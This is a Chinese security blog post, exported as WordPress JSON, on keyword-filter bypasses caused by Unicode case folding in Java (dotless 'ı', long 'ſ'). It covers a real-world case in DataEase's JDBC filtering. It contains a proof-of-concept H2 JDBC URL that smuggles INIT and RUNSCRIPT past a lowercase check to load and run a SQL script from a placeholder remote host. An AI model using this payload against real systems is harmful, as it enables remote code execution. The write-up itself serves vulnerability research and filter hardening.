{"id":4204,"date":"2026-06-04T17:22:36","date_gmt":"2026-06-04T09:22:36","guid":{"rendered":"https:\/\/fushuling.com\/?p=4204"},"modified":"2026-06-04T17:22:37","modified_gmt":"2026-06-04T09:22:37","slug":"%e5%a4%a7%e5%b0%8f%e5%86%99%e4%b8%8d%e6%95%8f%e6%84%9f%e4%b8%ad%e7%9a%84%e5%ae%89%e5%85%a8%e9%9a%90%e6%82%a3","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2026\/06\/04\/%e5%a4%a7%e5%b0%8f%e5%86%99%e4%b8%8d%e6%95%8f%e6%84%9f%e4%b8%ad%e7%9a%84%e5%ae%89%e5%85%a8%e9%9a%90%e6%82%a3\/","title":{"rendered":"\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u4e2d\u7684\u5b89\u5168\u9690\u60a3"},"content":{"rendered":"\n

\u4e4b\u524d\u51fa suctf \u7684\u65f6\u5019\u6211\u5728\u6587\u7ae0\u91cc\u63d0\u5230\u4e86\u4e00\u4e2a\u6709\u8da3\u7684\u73b0\u8c61\uff0c\u5c31\u662f\u8bb8\u591a\u89e3\u6790\u90fd\u662f\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\uff0c\u7279\u522b\u662f java \u91cc\uff0c\u4f46\u662f\u5728\u5e95\u5c42\u91cc\uff0c\u8fd9\u4e2a\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u64cd\u4f5c\u6709\u7684\u662f\u9760\u8f6c\u5927\u5199\u5b9e\u73b0\u7684\uff0c\u6709\u4e9b\u662f\u9760\u8f6c\u5c0f\u5199\u5b9e\u73b0\u7684\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

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package JDBC;\npublic class upper {\n    public static void main(String[] args) {\n        String var1 = \"\u0131\";\n        String var2 = \"\u017f\";\n        System.out.println(var1.toUpperCase().equals(\"I\"));\n        System.out.println(var2.toUpperCase().equals(\"S\"));\n    }\n}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u8bd5\u60f3\u4e00\u4e2a\u60c5\u51b5\uff0c\u6bd4\u5982\u5f00\u53d1\u8005\u662f\u60f3\u8fc7\u6ee4init<\/code>\uff0c\u68c0\u67e5\u903b\u8f91\u662f\u901a\u8fc7\u5c06\u5b57\u7b26\u4e32\u8f6c\u5c0f\u5199\u4e4b\u540e\u5339\u914d\u5173\u952e\u8bcdinit<\/code>\uff0c\u4f46\u5b9e\u9645\u5e95\u5c42\u89e3\u6790\u7684\u65f6\u5019\u903b\u8f91\u53ef\u80fd\u662f\u901a\u8fc7\u8f6c\u5927\u5199\u505a\u89e3\u6790\uff0c\u8fd9\u65f6\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u901a\u8fc7\u0131nit<\/code>\u8fdb\u884c\u7ed5\u8fc7\uff0c\u5728\u8f6c\u5c0f\u5199\u505a\u68c0\u67e5\u7684\u65f6\u5019\uff0c\u5b83\u662f\u0131nit<\/code>\uff0c\u81ea\u7136\u4e0einit<\/code>\u65e0\u5173\uff0c\u53ef\u4ee5\u901a\u8fc7\u6821\u9a8c\uff0c\u800c\u5728\u5b9e\u9645\u5e95\u5c42\u89e3\u6790\u7684\u65f6\u5019\uff0c\u0131nit<\/code>\u8f6c\u5927\u5199\u540e\u4f1a\u88ab java \u5f15\u64ce\u89e3\u6790\u4e3a INIT<\/code>\uff0c\u8fd9\u6837\u5c31\u7ed5\u8fc7\u4e86\u9632\u62a4\u8fdb\u884c\u4e86\u653b\u51fb\u3002<\/p>\n\n\n\n
\u5f53\u65f6\u4e00\u76f4\u5728\u60f3\u9664\u4e86\u6211\u51fa\u7684\u9898\u4ee5\u5916\uff0c\u73b0\u5b9e\u4e2d\u6709\u6ca1\u6709\u5b9e\u9645\u7684 case\uff0c\u540e\u6765\u53d1\u73b0 dataease \u5728\u6700\u8fd1\u66f4\u65b0\u65b0\u7248\u672c\u7684\u65f6\u5019\u7adf\u7136\u5f15\u5165\u4e86\u8fd9\u4e2a\u95ee\u9898\u3002\u5728\u65b0\u7248\u672c\u91cc\u5f00\u53d1\u8005\u64a4\u9500\u4e86\u8fc7\u53bb\u5b64\u7acb\u7684 jdbc \u9632\u62a4\uff0c\u8f6c\u4e3a\u4e86\u96c6\u4e2d\u7684\u9632\u62a4\u903b\u8f91<\/a>\uff0c\u5f88\u663e\u7136\uff0c\u5f00\u53d1\u8005\u4e5f\u610f\u8bc6\u5230\u4e86\u5927\u5c0f\u5199\u7ed5\u8fc7\u7684\u95ee\u9898\uff0c\u800c\u8fd9\u91cc\u4ed6\u4eec\u9009\u62e9\u7684\u65b9\u5f0f\u662f\u7edf\u4e00\u8f6c\u5c0f\u5199\u505a\u68c0\u67e5\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f88\u663e\u7136\u8fd9\u662f\u6709\u95ee\u9898\u7684\uff0c\u6bd4\u5982 h2 \u5f15\u64ce\u5bf9\u4e8e\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u8fd9\u4e2a\u64cd\u4f5c\u5e95\u5c42\u5176\u5b9e\u5c31\u662f\u901a\u8fc7\u8f6c\u5927\u5199\u5b9e\u73b0\u7684\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u4e0a\u6587\u4e2d\u63d0\u5230\u7684\u7ed5\u8fc7\u65b9\u5f0f\u5728\u8fd9\u91cc\u5c31\u53ef\u4ee5\u5229\u7528\u6210\u529f\uff0c\u800c\u5229\u7528 POC \u5c31\u662f\u7528\u0131<\/code>\u4ee3\u66ffi<\/code>\uff0c\u5c06 h2 jdbc url \u6539\u6210\uff1a<\/p>\n\n\n\n
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;\u0131NIT=RUNSCR\u0131PT FROM 'http:\/\/xxxxxx:50025\/poc.sql'<\/code><\/pre>\n\n\n\n
\u8fd9\u6837\u5c31\u7ed5\u8fc7\u4e86\u539f\u672c\u5f00\u53d1\u8005\u5bf9\u4e8e\u5173\u952e\u5b57INIT<\/code>\u548cRUNSCRIPT<\/code>\u7684\u8fc7\u6ee4\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u5bf9\u4e8e\u8fd9\u4e2a unicode \u5dee\u5f02\u7684\u95ee\u9898 java \u5f00\u53d1\u8005\u4e5f\u65e9\u5c31\u610f\u8bc6\u5230\u4e86\uff0c\u6240\u4ee5\u6709\u4e00\u4e2a\u4e13\u95e8\u7684\u51fd\u6570equalsIgnoreCase<\/code>\u6765\u5e94\u5bf9\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u68c0\u67e5\uff0c\u5b83\u5e95\u5c42\u4f1a\u5148\u8f6c\u5c0f\u5199\u518d\u8f6c\u5927\u5199\u505a\u68c0\u67e5\uff0c\u8fd9\u6837\u5c31\u9632\u6b62\u4e86\u8fd9\u7c7b unicode \u5dee\u5f02\u7ed5\u8fc7\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4e0d\u8fc7\u6ce8\u91ca\u91cc\u4e5f\u63d0\u5230\u4e86\u8fd9\u4e2a\u51fd\u6570\u9ed8\u8ba4\u4e0d\u8bbe\u7f6e Locale<\/code>\uff0c\u6240\u4ee5Locale<\/code>\u4e0d\u540c\u5f97\u5230\u7684\u7ed3\u679c\u4e5f\u4e0d\u540c\uff0c\u6211\u4e4b\u524d\u4e5f\u5199\u8fc7\u4e00\u7bc7\u6587\u7ae0\u63d0\u5230\u5982\u4f55\u901a\u8fc7Locale<\/code>\u5dee\u5f02\u8fdb\u884c\u5173\u952e\u5b57\u7ed5\u8fc7(java \u4e2d Locale \u5dee\u5f02\u5e26\u6765\u7684\u9ed1\u540d\u5355\u7ed5\u8fc7<\/a>)\uff0c\u6240\u4ee5 maybe \u67d0\u4e9b\u60c5\u51b5\u4e0b\u5373\u4f7f\u662f\u5b98\u65b9\u7684 api equalsIgnoreCase<\/code>\u4e5f\u80fd\u88ab\u653b\u51fb\u8005\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
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